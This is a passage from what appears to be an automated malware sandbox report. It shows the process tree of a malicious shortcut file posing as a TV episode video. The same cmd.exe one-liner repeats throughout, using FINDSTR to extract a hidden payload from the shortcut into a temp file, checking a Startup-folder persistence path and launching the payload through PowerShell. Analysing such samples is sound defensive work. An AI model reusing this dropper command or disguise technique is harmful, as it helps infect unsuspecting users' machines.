        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        34⤵
        Suspicious use of WriteProcessMemory
        
        PID:3152
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0086" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        35⤵
        
        PID:4644
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        35⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:5228
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        36⤵
        Suspicious use of WriteProcessMemory
        
        PID:5012
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0137" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        37⤵
        
        PID:3692
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        37⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:2596
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        38⤵
        Suspicious use of WriteProcessMemory
        
        PID:1228
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0206" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        39⤵
        
        PID:6060
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        39⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:6132
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        40⤵
        Suspicious use of WriteProcessMemory
        
        PID:2216
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0273" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        41⤵
        
        PID:5784
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        41⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:3464
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        42⤵
        Suspicious use of WriteProcessMemory
        
        PID:1340
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0339" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        43⤵
        
        PID:1140
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        43⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:1872
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        44⤵
        
        PID:1336
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0395" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        45⤵
        
        PID:2044
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        45⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2344
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        46⤵
        
        PID:5124
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0453" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        47⤵
        
        PID:968
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        47⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5384
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        48⤵
        
        PID:3992
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0516" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        49⤵
        
        PID:1632
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        49⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5932
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        50⤵
        
        PID:5688
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0584" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        51⤵
        
        PID:116
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        51⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2212
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        52⤵
        
        PID:4800
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0640" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        53⤵
        
        PID:4924
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        53⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5256
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        54⤵
        
        PID:4712
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0700" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        55⤵
        
        PID:5980
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        55⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1952
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        56⤵
        
        PID:5304
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0747" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        57⤵
        
        PID:5060
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        57⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3520
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        58⤵
        
        PID:4300
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0798" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        59⤵
        
        PID:3692
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        59⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3776
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        60⤵
        
        PID:3772
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0851" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        61⤵
        
        PID:4492
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        61⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3196
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        62⤵
        
        PID:2816
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0906" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        63⤵
        
        PID:1684
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        63⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:864
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        64⤵
        
        PID:2420
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0964" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        65⤵
        
        PID:3532
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        65⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5364
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        66⤵
        
        PID:5416
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0030" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        67⤵
        
        PID:5312
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        67⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:892
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        68⤵
        
        PID:968
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0087" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        69⤵
        
        PID:3224
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        69⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:1900
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        70⤵
        
        PID:5836
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0156" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        71⤵
        
        PID:1064
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        71⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:1600
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        72⤵
        
        PID:4772
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0231" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        73⤵
        
        PID:224
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        73⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:4680
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        74⤵
        
        PID:5204
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0289" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        75⤵
        
        PID:1144
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        75⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:1208
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        76⤵
        
        PID:4880
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0348" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        77⤵
        
        PID:5280
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        77⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:4852
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        78⤵
        
        PID:4012
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0412" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        79⤵
        
        PID:4264
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        79⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:5040
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        80⤵
        
        PID:3212
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0473" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        81⤵
        
        PID:400
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        81⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:2416
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        82⤵
        
        PID:4392
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0531" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        83⤵
        
        PID:1204
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        83⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:3684
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        84⤵
        
        PID:1360
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0589" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        85⤵
        
        PID:5672
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        85⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:3700
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        86⤵
        
        PID:3352
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0645" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        87⤵
        
        PID:3532
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        87⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:2560
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        88⤵
        
        PID:4084
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0708" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        89⤵
        
        PID:5788
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        89⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:220
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        90⤵
        
        PID:5452
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0769" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        91⤵
        
        PID:972
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        91⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:5380
        
        C:\Windows\SYSTEM32\cmd.EXE
        
